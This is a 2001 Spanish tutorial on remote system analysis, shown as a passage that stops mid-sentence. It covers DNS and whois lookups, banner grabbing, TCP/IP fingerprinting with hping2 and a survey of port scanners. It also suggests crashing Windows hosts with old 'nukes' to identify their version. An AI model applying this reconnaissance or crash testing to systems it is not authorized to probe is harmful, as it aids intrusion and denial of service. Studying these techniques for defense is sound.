what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

analisis-remoto-de-sistemas.txt

analisis-remoto-de-sistemas.txt
Posted Jan 13, 2001
Authored by Honoriak

Port Scanning and OS Fingerprinting - In Spanish.

tags | paper, protocol
SHA-256 | d29a0debb8f1e6c0c65c683ae42886381e2e396da3357cddb29a156f530e67d8

analisis-remoto-de-sistemas.txt

Change Mirror Download
/* honoriak  <EGC@argen.net>   <honoriak@mail.ru>   2000.12.26  Ante
cualquier duda, critica, pregunta, etc. no dudes en escribirme a
una de las direcciones de e-mail que acabas de ver. Las fuentes que
me ayudaron en la elaboracion de este reducido 'paper' figuran al
final de este documento. Este paper ha sido elaborado con emacs y
joe. */

-----------------[ Analisis remoto de sistemas
por honoriak <honoriak@mail.ru>

[ Seccion de I+D de networking-center.org ]

Indice
======

1. Introduccion:

- Localizacion.

- NS de la maquina.

- Informacion del registro del dominio.

2. Analisis:

- Sistema operativo:

Analisis sin conocimiento de la pila TCP/IP.

Analisis basado en la pila TCP/IP.

- Servicios:

Software de escaneo de puertos y vulnerabilidades:
panorama actual.

Tecnicas usadas en el escaneo de puertos.

- Relacion de principales servicios con puertos. Daemons.

- CGIs

3. Bibliografia y agradecimientos


|---------------------------------------|


1. Introduccion
============

Localizacion:
~~~~~~~~~~~~~

En este manual se tratara unicamente el caso de un servidor
con una ip fija y un dominio/s asociado, ya que creo que el analisis
de sistemas se aplica a este tipo de configuraciones y no me parece
logico el ocuparse de ordenadores de usuarios domesticos ya que
normalmente no son los que necesitan este tipo de comprobaciones.

Lo unico a resaltar es que las IPs de las maquinas que vamos a
analizar no pueden estar en ningun caso entre:

============================================
| Clase Networks |
| A de 10.0.0.0 a 10.255.255.255 |
| B de 172.16.0.0 a 172.31.0.0 |
| C de 192.168.0.0 a 192.168.255.0 |
============================================

Ya que estas son de uso privado (para LANs, intranets) y
estamos tratando el caso de maquinas conectadas a internet. La version
del Internet Protocol utilizada mayormente en la actualidad es la 4
pero es cierto que los esfuerzos porque este sea reemplazado en un
futuro no muy lejano por IPv6 es notable y en este cambiara el esquema
de direcciones y las direcciones seran mas largas.

Dos herramientas de uso muy comun entre los usuarios de
cualquier sistema operativo serio son ping y traceroute. Me parece
que es obvio su uso y sino, siempre puedes acudir al man para saber
todas sus opciones de sintaxis. La ultima de ellas, muchas veces es
infravalorada en un analisis y realmente puede dar una idea de la
situacion fisica del servidor y maquinas cercanas a este. Actualmente
hay bastantes frontends y utilidades basadas en traceroute para
x-windows e incluso alguna de ellas representa en un mapa el camino
que sigue un paquete desde nuestro sistema hasta la maquina a
analizar.


NS de la maquina
~~~~~~~~~~~~~~~~

Otra herramienta muy util en el analisis es el nslookup,
gracias a ella podremos saber el servidor de nombres (NS) que ofrece
el dominio a nuestro servidor, es decir, el NS que hace que w.x.y.z sea
dddd.com. Para obtener esta informacion, haremos uso de nuestro DNS
(es decir, el servidor de nombres que nos ofrece nuestro ISP). Asi por
ejemplo, suponiendo que mi NS es ns1.worldonline.es y queremos saber
cual es el NS de insflug.org, se actuaria de la siguiente forma:

$ nslookup insflug.org
Server: ns1.worldonline.es
Address: 212.7.33.3

Name: insflug.org
Address: 209.197.122.174

$ nslookup
Default Server: ns1.worldonline.es
Address: 212.7.33.3

> set q=ns
> insflug.org
Server: ns1.worldonline.es
Address: 212.7.33.3

Non-authoritative answer:
insflug.org nameserver = NS0.NS0.COM
insflug.org nameserver = NS84.PAIR.COM

Authoritative answers can be found from:
NS0.NS0.COM internet address = 209.197.64.1
NS84.PAIR.COM internet address = 209.68.1.177

Como puedes observar, hemos obtenido los NS tanto primario
como secundario que hace que insflug.org este asociado a
209.197.122.174 siendo: NS0.NS0.COM y NS84.PAIR.COM. Esta informacion
nos puede ser de gran utilidad para cierto tipo de cosas. Lo que si
que puede ser de cierta utilidad es saber que en los NS hay unas zone
files en las que se encuentra la informacion sobre el dominio a
analizar, de esta forma encontrariamos

zone "insflug.org"{
type master;
file "insflug.org.zone";
};

en el fichero en el que se encontrase la informacion sobre las
secciones de zona (algunas veces /var/named/), siendo la zone file
para insflug.org /var/named/insflug.org.zone, en el supuesto de estar
en /var/named/. Alli encontrariamos

@ IN NS NS0.NS0.COM.
www IN A 209.197.122.174
ftp IN CNAME www
.....

CNAME significa canonical name y quiere decir que en realidad
la ip a la que se refiere ftp.insflug.org es la misma que
www.insflug.org y que en este caso es la misma que insflug.org, como
podemos comprobar haciendo:

$ nslookup
Default Server: ns1.worldonline.es
Address: 212.7.33.3

> set q=ns
> www.insflug.org
Server: ns1.worldonline.es
Address: 212.7.33.3

Non-authoritative answer:
www.insflug.org canonical name = insflug.org
...

> ftp.insflug.org
Server: ns1.worldonline.es
Address: 212.7.33.3

ftp.insflug.org canonical name = insflug.org
...

De esta forma, podremos saber si los demonios de ftp,
www... de un dominio se encuentran en una misma maquina o maquinas
diferentes; muy util para tener una vision global del host a estudiar,
ya que lo que en principio se podria pensar que era un servidor en
particular son varios. Ademas, www.insflug.org por ejemplo puede
estar asociado a varias IPs y viceversa.

Pese a que para saber el servidor de nombres del servidor a
estudiar hemos utilizado nslookup, que se supone que es el metodo en
el cual utilizamos un poco "nuestros propios medios", estos NSs se
podrian saber haciendo uso del comando que se utiliza en lo que viene
a continuacion: whois.


Informacion del registro del dominio
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Para obtener informacion sobre el registro de un dominio,
entiendase por dominio ddd.xxx y no pr.ddd.xxx pr2.ddd.xxx... que
serian considerados subdominios del primero, se puede hacer uso de la
herramienta ya implementada en la mayoria de los unix whois. Asi, de
esta forma:

$ whois insflug.org
[whois.internic.net]

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

Domain Name: INSFLUG.ORG
Registrar: NETWORK SOLUTIONS, INC.
Whois Server: whois.networksolutions.com
Referral URL: www.networksolutions.com
Name Server: NS0.NS0.COM
Name Server: NS84.PAIR.COM
Updated Date: 24-jun-2000


>>> Last update of whois database: Mon, 25 Dec 2000 11:16:57 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.

Puedes observar como se han obtenido tambien los servidores de
nombres que contienen la entrada insflug.org (por esto lo comentado
anteriormente). Pero, en realidad, esto la mayoria de las veces no es
de mucha utilidad ya que actualmente los registros de dominios no son
directos y en realidad no figura el nombre del que lo quiso registrar
sino de la empresa intermediaria que hizo efectivo el registro. Lo
que si que nos proporciona una informacion mucho mas completa es hacer
un whois al Whois Server que nos ha proporcionado este primer whois
insflug.org que es whois.networksolutions.com, asi de esta forma:

$ whois insflug.org@whois.networksolutions.com
[whois.networksolutions.com]
The Data in Network Solutions' WHOIS database is provided by Network
Solutions for information purposes, and to assist persons in obtaining
information about or related to a domain name registration record.
Network Solutions does not guarantee its accuracy. By submitting a
WHOIS query, you agree that you will use this Data only for lawful
purposes and that, under no circumstances will you use this Data to:
(1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail
(spam); or (2) enable high volume, automated, electronic processes
that apply to Network Solutions (or its systems). Network Solutions
reserves the right to modify these terms at any time. By submitting
this query, you agree to abide by this policy.

Registrant:
Impatient & 'Novatous' Spanish FidoNet Linux Users Group (INSFLUG-DOM)
Avda. Pablo VI, 11 - 4C
Dos Hermanas, Sevilla 41700
ES

Domain Name: INSFLUG.ORG

Administrative Contact, Billing Contact:
Montilla, Francisco J (FJM43) pacopepe@INSFLUG.ORG
Impatient & 'Novatous' Spanish FidoNet Linux Users Group
Avda. Pablo VI, 11 - 4C
Dos Hermanas, Sevilla 41700
ES
+34 955679066 (FAX) +34 955679066
Technical Contact:
Administrator, Domain (DA550) domain@PAIR.COM
pair Networks, Inc
2403 Sidney St, Suite 510
Pittsburgh, PA 15203
+1 412 681 6932 (FAX) +1 412 381 9997

Record last updated on 25-Jul-2000.
Record expires on 24-Jun-2001.
Record created on 24-Jun-1998.
Database last updated on 25-Dec-2000 20:18:04 EST.

Domain servers in listed order:

NS84.PAIR.COM 209.68.1.177
NS0.NS0.COM 209.197.64.1

Vemos pues, una informacion mucho mas completa =) Para obtener
informacion sobre dominios que no sean .com, .net, .org, .edu
tendremos que saber el servidor que nos permite hacer un whois
de dicho dominio, ya que con el whois.internic.net no nos
permitira esa busqueda,

$ whois ctv.es
[whois.internic.net]

Whois Server Version 1.3

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.

No match for "CTV.ES".

>>> Last update of whois database: Mon, 25 Dec 2000 11:16:57 EST <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.


2. Analisis
========


2.1 Sistema operativo
~~~~~~~~~~~~~~~~~~~~~

I. Analisis sin conocimientos de la pila TCP/IP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

De paquete, algunos sistemas operativos (quizas versiones
antiguas), tenian o incluso tienen "por costumbre" darnos dicha
informacion (so y version) al telnetear al servidor y los
administradores no se preocupan de modificarlo. Asi que siempre puedes
probar haber si hay suerte y por ejemplo te encuentras con:

$ telnet jeropa.com
Trying 64.60.1.66...
Connected to jeropa.com.
Escape character is '^]'.

Cobalt Linux release 4.0 (Fargo)
Kernel 2.0.34C53_SK on a mips

login:
...

Lo que es cierto, es que cualquier sysadmin serio debe
preocuparse de cambiar esto, ya que tampoco hay que dar tantas
facilidades. Pero, en la actualidad si que es cierto que cada vez son
mas los sysadmins que cambian esto e incluso ponen un so o version
falsa. Asi que esta tampoco va a ser una muy buena solucion para saber
el sistema operativo de la maquina que tratamos. (El escaner ISS, de
pago, utiliza esta "fiable" tecnica, asi que te recomiendo usar queso
o nmap).

Aun asi, podemos seguir obteniendo informacion sobre el SO de
la maquina a estudiar de forma mas o menos parecida ya que, por
ejemplo, si tiene operativo www, ftp o snmp, a lo mejor se puede hacer
una peticion al servidor web, ejecutar SYST en una sesion de FTP o
simplemente ver la version del cliente de FTP o usar snmpwalk (de las
utilidades CMU SNMP) para conseguir cierta informacion respectivamente
y saber en algunos casos el SO; de esta forma, por ejemplo:

$ telnet www.microsoft.com 80
Trying 207.46.230.229...
Connected to www.microsoft.akadns.net.
Escape character is '^]'.
probando?
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Wed, 27 Dec 2000 00:03:18 GMT
...

Te suena de algo lo de IIS/5.0? Pues ya sabes hablamos de un
win*.

__

$ telnet ftp.ciudadfutura.com 21
Trying 216.35.70.14...
Connected to ftp.ciudadfutura.com.
Escape character is '^]'.
220 Serv-U FTP-Server v2.5e for WinSock ready...
...

Y por tanto si revisamos las caracteristicas del Serv-U
FTP-Server,

| "FTP Serv-U from is a full-featured
| FTP server that allows you to turn almost any
| MS Windows (9x, NT, 2000) computer into an
| Internet FTP Server."

nos damos cuenta de que estamos hablando de una maquina win*.


II Analisis basado en la pila TCP/IP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Antes de pasar a enumerar los programas que han hecho posible
el reconocimiento del sistema operativo de un host de forma remota me
parece logico explicar, a grandes rasgos, cual es su funcionamiento,
sin entrar de momento en particularidades.

Dichos programas basan su funcionamiento en analizar las
diferentes respuestas que ofrecen distintos sistemas ante ciertos
envios (he aqui las singularidades y la variedad de metodos). Por
tanto, dichas respuestas, que son comunmente conocidas como TCP/IP
fingerprints, son las que permiten distinguir un sistema operativo de
otro. Muchas veces, recurren dichos programas a distintos tipos de
envios ya que, en muchas ocasiones, las diferencias en la pila TCP/IP
de un sistema operativo a otro no son muy marcadas y ante ciertos
envios actuan de igual forma, diferenciandose, a veces, solo en uno o
incluso no habiendo diferencia (como en el caso de Windows 95/98/NT,
en los que increiblemente no se observa un comportamiento diferente en
sus pilas TCP/IP; unicamente probando nukes contra dichos hosts y
viendo si se caen o no, para asi distinguir por ejemplo entre un 95 y
un 98 (ej. WinNuke)).

Entre los programas disponibles que utilizan dicha tecnica de
fingerprinting destacan:

-spoofer para IRC sirc (Johan)
-checkos (shok)
-nmap (fyodor)
-nsat (mixter)
-p0f (Michal Zalewski)
-SS (Su1d)
-queso (savage)

Ya entrando mas a fondo en el funcionamiento a mas bajo nivel
de dichos programas encontramos cierta diferencia entre ellos, ya que
mientras unos usan un fichero externo con fingerprints de diferentes
sistemas tipo, como el queso, otros incluyen en el codigo dicha
comparacion, como checkos por ejemplo.

En checkos encontramos:

...

if ((tcp.hrc & CF_SYN) && (tcp.hrc & CF_FIN)) {
type=OS_LINUX;
done=1;
}
...

if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
if (flags & OSD_WIN95WAIT) {
done=1;
type=OS_WIN95;
}


En ss encontramos:

/* fragmento codigo de ss de Remote OS
Detection via TCP/IP Fingerprinting de
Fyodor */

...

if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) &&
(flagsthree & TH_ACK))
reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

...

Mientras que en queso encontramos un fichero de configuracion
en el que se distingue por ejemplo:


$ cat /etc/queso.conf
...
* AS/400 OS/400 V4R2 (by rodneybrown@pmsc.com)
0 1 1 1 SA
1 0 1 0 R
2 0 1 0 RA
3 0 1 0 R
4 1 1 1 SA
5 0 1 0 RA
6 1 1 1 SA
...

Se observa, pues, que savage ha implementado de forma bastante
mas inteligente dicha idea. Este metodo ha sido heredado por fyodor
para su nmap, y por ejemplo, en ciertas versiones de nmap encontramos:

$ cat /usr/local/lib/nmap/nmap-os-fingerprints
...
# Thanks to Juan Cespedes <cespedes@lander.es>
FingerPrint AGE Logic, Inc. IBM XStation
TSeq(Class=64K)
T1(DF=N%W=2000%ACK=S++%Flags=AS%Ops=M)
T2(Resp=N)
T3(Resp=Y%DF=N%W=2000%ACK=O%Flags=A%Ops=)
T4(DF=N%W=2000%ACK=O%Flags=R%Ops=)
T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)
PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=F%RIPCK=0%UCK=E%ULEN=134%DAT=E)
...

Y tambien ha sido usado por mixter en su NSAT, destacando la
distincion que hace entre diferentes configuraciones de windows:

$ cat /usr/local/bin/nsat.os
...
Windows (Firewall-1)
1 1 1 0 1 18
1 0 1 0 0 4
1 0 1 0 1 21
1 0 1 0 1 21
1 1 1 0 1 18
1 0 1 0 1 28
0 0 0 0 0 0
...

En lo que se refiere al tipo de tecnicas usadas para
diferenciar unos OSs se debe puntualizar que en realidad, estas
pruebas se combinan, para asi conseguir aislar cada sistema
operativo. Un muy buen programa para hacer este tipo de pruebas es el
hping2 (antirez@invece.org, http://www.kyuzz.org/antirez/hping2.html)
combinandolo con el analisis mediante tcpdump o ethereal (un magnifico
frontend), ya que aunque puedes realizar tu propio codigo (en C, por
ejemplo) esta claro que esto conlleva unos conocimientos de unix
network programing bastante importantes, asi que en este paper
analizare los resultados obtenidos con hping2 y no presentare codes
especificos para cada prueba, además utilizare mi propia maquina para
dichas pruebas y no lo hare de forma remota para asi tener un mayor
control de los resultados. Los metodos que conozco son: (si conoces
otras tecnicas utilizadas para esto no dudes en decirmelo -
honoriak@mail.ru)


- TCP ISN: Cuando el host a analizar responde a solicitudes de
conexion, genera unos numeros en la secuencia inicial (ISN) que no
siempre se producen de la misma forma; esto, es aprovechado para
distinguir unos sistemas de otros. Estos ISNs pueden ser constantes
(hubs de 3com, etc.), 64K (UNIX antiguos), aleatorios (linux >2.0, AIX
modernos, OpenVMS), incremento en funcion del tiempo (windows), de
incremento aleatorio (freebsd, digital unix, cray, solaris
modernos...) siendo estos ultimos incrementos basados en diferentes
cosas como por ejemplo maximos comunes divisores.
Si enviamos varios paquetes, por ejemplo, de la forma:

$ hping2 localhost -p 80
default routing not present
HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 0 data
bytes
40 bytes from 127.0.0.1: flags=RA seq=0 ttl=255 id=5 win=0 rtt=0.4 ms
40 bytes from 127.0.0.1: flags=RA seq=1 ttl=255 id=6 win=0 rtt=24.9 ms

--- localhost hping statistic ---
2 packets tramitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.4/12.6/24.9 ms

Y ahora analizamos dichos paquetes por ejemplo con el tcpdump
(mas claro son los resultados que ofrece ethereal, pero para copiar
aqui es mas comoda la salida del tcpdump; solo copiare las respuestas,
no las peticiones)

...
14:12:47.774380 lo < honorato.2485 > honorato.www: . 7200421:72
00421(0) win 512
...
14:12:48.771779 lo < honorato.2486 > honorato.www: . 2002659674:200
2659674(0) win 512
...

Se observa, pues, una variacion en la seq inicial del paquete
TCP, en el primer paquete vemos 7200421 y en el segundo 2002659674
siendo en este caso completamente aleatorios ya que estoy trabajando
en:

$ uname -a
Linux honorato.com 2.2.16 #14 SMP Sat Jun 10 15:51:08 CEST 2000
i86 unknown

- Opciones de TCP: esta tecnica se basa en el diferenciar
sistemas operativos segun el numero de opciones TCP que admiten, los
valores de dichas opciones y el orden en que las opciones se nos
presentan. Esto, que yo sepa, solo es utilizado por Nmap (si sabes de
otros programas que lo usen, no dudes en decirmelo y modificare esto).

Fyodor en su nmap hace prueba las siguientes opciones:

Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

El hping2 no implementa esta posibilidad (o eso creo) asi que
no lo he llevado a la practica. Siempre puedes analizar el codigo del
nmap que realiza esto y heredar dicha tecnica.


- FIN: Se basa en el envio a un puerto abierto del host a
estudio de un paquete FIN o cualquiera que no tenga un flag ACK o
SYN. Segun el RFC793 el host no tendria que responder pero algunos OSs
responden con un RESET como Windows, HP/UX, IRIX, MVS, BSDI, CISCO.

Para hacer una prueba practica usare el puerto 80, con apache
arrancado:

$ /usr/bin/httpd
$ hping2 localhost -p 80 -F
default routing not present
HPING localhost (lo 127.0.0.1): F set, 40 headers + 0 data bytes

--- localhost hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

Se observa pues, como mi linux si que cumple el RFC793 y no responde a
dichos paquetes.

- ACK recibido: El valor de ACK que nos envia el servidor a
analizar cuando por ejemplo enviamos un SYN|FIN|URG|PSH a un puerto
abierto o un FIN|PSH|URG a un puerto cerrado puede variar respecto al
numero de secuencia inicial que envia este.

Para probar, inicialmente mandare un paquete normal a un
puerto cerrado, y se comprueba que el valor de ACK no cambia y despues
uno FIN|PSH|URG tambien a un puerto cerrado y se vera como cambia:

$ killall httpd
$ hping2 localhost -p 80
...

y en la salida del tcpdump se ve

15:59:37.442157 lo > honorato.1676 > honorato.www: . 1752870898:1752
870898(0) win 512
15:59:37.442157 lo < honorato.1676 > honorato.www: . 1752870898:1752
870898(0) win 512
15:59:37.442259 lo > honorato.www > honorato.1676: R 0:0(0) ack 1752
870898 win 0

vemos como 1752870898 se mantiene en el ack, pero en cambio:

$ hping2 localhost -p 80 -S -F -U -P
...

y en la salida del tcpdump ahora vemos

16:00:48.480252 lo > honorato.2669 > honorato.www: SFP 1376153753:13
76153753(0) win 512 urg 0
16:00:48.480252 lo < honorato.2669 > honorato.www: SFP 1376153753:13
76153753(0) win 512 urg 0
16:00:48.480334 lo > honorato.www > honorato.2669: R 0:0(0) ack 1376
153754 win 0

Se ve pues como ha cambiado el valor de seq respecto al de ack
de 1376153753 a 1376153754.
De la misma forma, haciendo dicha prueba para un puerto
abierto se puede ver que hay una variacion. En estas pruebas he usado
linux, pero de un sistema a otro esa variacion puede ser diferente (lo
que permite diferenciarlos, claro esta).


- Flag TCP (64/128) en el encabezado TCP de un paquete SYN:
Haciendo esto, por lo que yo he probado/leido unicamente el linux
2.0.35 mantiene dicha flag en la respuesta y el resto cancela la
conexion. Esto, de estudiarse a fondo, puede servir para diferenciar
OSs.

No he hecho una demostracion practica de dicho metodo, ya que
en este momento no tengo instalado el kernel 2.0.35, pero simplemente
se haria: hping2 localhost -p 80 -S y se analizarian los resultados
vertidos por el tcpdump.


- ICMP:

1) Esta tecnica se basaria en el control del numero de
mensajes de destination unreachable que envia un host por ejemplo al
mandar un gran numero de paquetes a un puerto UDP. En linux,
encontramos como limita dicha cantidad de mensajes, y por ejemplo:

$ cat /usr/src/linux/net/ipv4/icmp.c
...
* 4.3.2.8 (Rate Limiting)
* SHOULD be able to limit error message rate (OK)
* SHOULD allow setting of rate limits (OK, in the source)
...

Pero, esta tecnica es de dificil implementacion, ya que habria
que considerar la posibilidad de que los paquetes se perdiesen.

$ hping2 localhost --udp -i u[intervalo_en_microsegundos]
...
--- localhost hping statistic ---
*** packets tramitted, * packets received, ***% packet loss
round-trip min/avg/max = *.*/*.*/*.* ms

Y se analizaria si limita o no el numero de paquetes de ICMP
Port Unreachable. Pero, no hago la prueba con mi localhost ya que las
condiciones son completamente diferentes a las condiciones que te
encontrarias en internet. Aun asi, veo de dificil implementacion esta
tecnica por lo dicho anteriormente.

2) Basandose en los mensajes de error ICMP, y centrandose en
los mensajes que se refieren a que no se pudo alcanzar un puerto casi
todos los OSs mandan simplemente el encabezado ip y ocho bytes; pero,
tanto solaris como linux mandan una respuesta un poco mas larga siendo
este ultimo el que responde con mayor numero de bytes. Esto, claro
esta, puede ser utilizado para distinguir unos OSs de otros.

$ hping2 localhost --udp -p 21

y si analizamos uno de los paquetes ICMP de Destination
unreachable observamos:

Header length: 20 bytes
Protocol: ICMP (0x01)
Data (28 bytes)
Type: 3 (Destination unreachable)
Code: 3 (Port unreachable)

se observa pues como en sistemas linux ademas del encabezado
ip se retornan bastante mas de 8 bytes, 28 bytes.

3) Fijandose nuevamente en los mensajes de error ICMP debido a
que no se pudo alcanzar un puerto, se observa que todos los OSs a
excepcion de linux usa como valor de TOS (tipo de servicio) 0, pero
linux en cambio, usa 0xc0 siendo esto parte del AFAIK, el campo de
referencia, que no es usado.

$ hping2 localhost --udp -p 21

y en el tcpdump, por ejemplo, observamos la siguiente salida:

16:27:57.052282 lo > honorato > honorato: icmp: honorato udp port fs
p unreachable [tos 0xc0]
16:27:57.052282 lo < honorato > honorato: icmp: honorato udp port fs
p unreachable [tos 0xc0]

siendo el tos 0xc0 como he expuesto anteriormente, ya que se
trata de un linux, a diferencia de los demas sistemas operativos.

4) Basandose en los encabezados de los paquetes ICMP de error
vemos como diferentes OSs lo utilizan como 'scratch space'. Es decir,
lo modifican; y asi por ejemplo encontramos como freebsd, openbsd,
ultrix... cambian el ID de la IP del mensaje original en su respuesta,
bsdi aumenta en 20 bytes la longitud total del campo de IP... (y hay
mas diferencias, que estan por analizar, asi que ya sabes).

En mi linux, por ejemplo, el un paquete udp al puerto 0 es:

0000 00 00 08 00 45 00 00 1c a4 c8 00 00 40 11 d8 06 ....E... ....@...
0010 7f 00 00 01 7f 00 00 01 0a e5 00 00 00 08 f6 f6 ........ ........

y su el paquete ICMP de Destination unreachable es:

0000 00 00 08 00 45 c0 00 38 22 de 00 00 ff 01 9a 24 ....E..8 "......$
0010 7f 00 00 01 7f 00 00 01 03 03 fb 18 00 00 00 00 ........ ........
0020 45 00 00 1c a4 c8 00 00 40 11 d8 06 7f 00 00 01 E....... @.......
0030 7f 00 00 01 0a e5 00 00 00 08 f6 f6 ........ ....

En linux, el campo de la IP, no varia del paquete udp al icmp
de error a diferencia de otros SOs pero pasa de tener id: 0xa4c8 a
tener id: 0x22de. Este metodo no lo he estudiado a fondo y veo que
puede tener bastantes particularidades. Si quieres tener una vision
un poco mas completa del escaneo de puertos mediante metodos basados
en ICMP puedes leer ICMP usage in scanning o tambien llamado
Understanding some of the ICMP Protocol's Hazards de Ofir Arkin de
Sys-security Group en http://www.sys-security.com.

- Bit no fragmentado: esta tecnica se basa en que ciertos
sistemas operativos ponen un bit no fragmentado de IP en algunos de
los paquetes que envian. Pero lo que es cierto es que no todos lo
hacen, y de hacerlo no lo hacen de la misma forma; lo que puede ser
aprovechado para averiguar el OS.

en mi linux (del que ya he copiado un uname -a antes, para
saber el kernel que uso):

$ hping2 localhost
...

al analizar uno de los paquetes tcp mandados con ethereal se
comprueba que:

Flags: 0x00
.0.. = Don't Fragment: Not set
..0. = More fragments: Not set

pero, tampoco he hecho un gran numero de pruebas para asegurar
que en algun caso y con cierto tipo de paquetes no se adjunten bits no
fragmentados.


- La ventana inicial de TCP: se basa en la comprobacion de las
dimensiones de la ventana de los paquetes que nos devuelve el host a
estudiar. El valor que toma es casi siempre igual para cada sistema
operativo, he incluso hay sistemas que se pueden identificar por medio
de este metodo, ya que son los unicos que le asignan cierto valor a
dicha ventana (ej. AIX, 0x3F25).

$ hping2 localhost
...

y al analizar, por ejemplo dos de los paquetes con ethereal vemos:

Window Size: 512 (0x0200)
...
Window Size: 512 (0x0200)

- Tratamiento de fragmentacion: Se basa en el hecho de que los
sitemas operativos tratan de diferente forman los fragmentos de IP
solapados; mientras algunos mantienen el material inicial, otros
sobreescriben la porciones antiguas con las nuevas. De dificil
implementacion puesto que hay sistemas operativos que no permiten
mandar fragmentos de IP (lease Solaris), pero si que es cierto que
tendria bastante utilidad.

No lo he analizado en la practica, ya que no encontre la forma
de hacerlo con hping2 y el hacer un codigo que lo haga no me parece
materia para cubrir en este manual por tener bastante dificultad.


- Synflood: una tecnica que no me parece aplicable, por
razones bien marcadas. Hay ciertos OSs que llega un momento en que no
aceptan nuevas conexiones si has mandado demasiados paquetes SYN y por
ejemplo algunos sistemas operativos solo admiten 8 paquetes. Linux,
evita esto por medio de las SYN cookies.


- Nukes: Como ya he dicho anteriormente, la pila de Win95,
WinNT o Win98 parece identica. Para distinguir entre una u otra el
metodo que propongo es el aplicar nukes de forma cronologica (es
decir, de mas antiguos a mas nuevos) e ir viendo si el servidor se
cuelga o no; de esta forma sabremos la version ya que si sabemos que
un nuke (por ejemplo, Winnuke) solo funciona con Win95 pues ya
tendremos el OS. Aun asi, no recomiendo este metodo por razones
obvias. Actualmente, estoy a la espera de que mixter me aclare si el
ha conseguido alguna forma de distinguir una pila en win* en su
nsat. De decirme como, lo incluire en este texto.



2.2 Servicios
~~~~~~~~~~~~~

I Software de escaneo de puertos y vulnerabilidades: panorama actual
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Lo que quiero con esta reducida seccion es simplemente dar mi
opinion acerca del software de escaneo de puertos que hay en este
momento en la scene.

Es preciso destacar, que mientras algunos de los programas que
detallo a continuacion simplemente son escaneadores de puertos otros
tambien pueden servir para detectar vulnerabilidades en el sistema,
debidas a daemons (escuchando en puertos abiertos) que tienen bugs
conocidos.

Nmap: lo puedes encontrar en
http://www.insecure.org/nmap/index.html, se trata de uno de los
escaneadores de puertos mas completos. Desarrollado por
Fyodor. Admite tanto un escaneo normal como "silencioso".

Strobe-classb: lo podras encontrar en
http://www.luyer.net/software/strobe-classb/ . Sirve para escanear
redes grandes en poco tiempo pero no es updateado.

Vetescan: esta en http://www.self-evident.com/sploits.html. Es
normalmente una herramienta de "jaker", ya que con ella se puede
escanear a gran velocidad grandes redes e incluye los exploits para
las vulnerabilidades que detecta en el propio tar.gz

Satan: para bajarlo vete a http://www.porcupine.org/satan/
. Usa una interface basada en web y su modelo de actuacion ha sido
heredado por programas como Nessus, Saint o SARA. A lo mejor para
hacerlo funcionar en las mas modernas distribuciones de linux tienes
problemas.

Nessus: bajatelo de http://www.nessus.org/ . Es muy util. Hay
tanto cliente como servidor; hay clientes para X11, Java y Windows
pero servidor unicamente para Unix. Es muy facil agregar nuevos
chequeos para vulnerabilidades que inicialmente no estaba preparado y
su equipo de desarrolladores suele updatearlo frecuentemente. Utiliza
el Nmap para hacer un analisis preliminar de los puertos. Mas que
recomendable.

Saint: lo puedes encontrar en http://www.wwdsi.com/saint/
. Como ya he comentado se basa en Satan y como este funciona a traves
de web. Las nuevas funcionalidades no son agregadas de una forma muy
rapida pero esto trae consigo un mejor funcionamiento del programa que
destaca por clasificar en niveles el problema encontrado.

SARA: se encuentra en http://home.arc.com/sara/index.html.
Hereda su funcionamiento de Saint y Satan. Incluye una herramienta
para crear informes de las vulnerabilidades, etc.

NSAT: te lo puedes bajar de http://mixter.void.ru/progs.html.
Su creador es el mixter, reconocido profesional de la seguridad
informatica. Al igual que nessus se le pueden hacer reglas nuevas de
chequeo para nuevas vulnerabilidades no existentes en el momento de
codear el programa. La pega es que no se puede utilizar desde una
maquina remota y solo funciona bajo linux/unix.

Messala: bajalo en http://www.securityfocus.com/tools/1228.
Este programa me ha sorprendido gratamente ya que analiza un gran
numero de vulnerabilidades conocidas. Ademas, sus desarrolladores lo
updatean frecuentemente.

Mns: pillalo en alguna web de seguridad informatica ya que los
enlaces que van a la page de dicho programa no funcionan. Tiene
capacidad de escanear "silenciosamente" y muestra vulnerabilidades.

Hay gran numero de escaneadores de puertos de nivel bastante
basico, tanto en C como perl que tampoco me voy a poner a analizar por
separado; siempre puedes buscarlos en freshmeat.net o
packetstorm.securify.com. En algun caso puede ser interesante bajarte
alguno de ellos ya que te sera mas facil analizar el codigo usado para
este tipo de utilidades.

Por otra parte, cabe resaltar que puedes encontrar reducidos
.c que unicamente comprueban la existencia de una vulnerabilidad en
concreto. Incluso, te puede ser util, el hacerte algun escaner
especifico de cierta vulnerabilidad, en caso de que esta no haya sido
hecha publica.


II Tecnicas usadas en el escaneo de puertos
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

En un escaneo de puertos, se han ido incluyendo tecnicas, que
en la mayoria de los casos lo que buscan es que el escaneo de puertos
no sea detectado por el host remoto. Actualmente hay un cierto vacio
legal en lo que se refiere a este tipo de acciones ya que no esta muy
claro si es legal o ilegal hacer dichos escaneos. Segun una sentencia
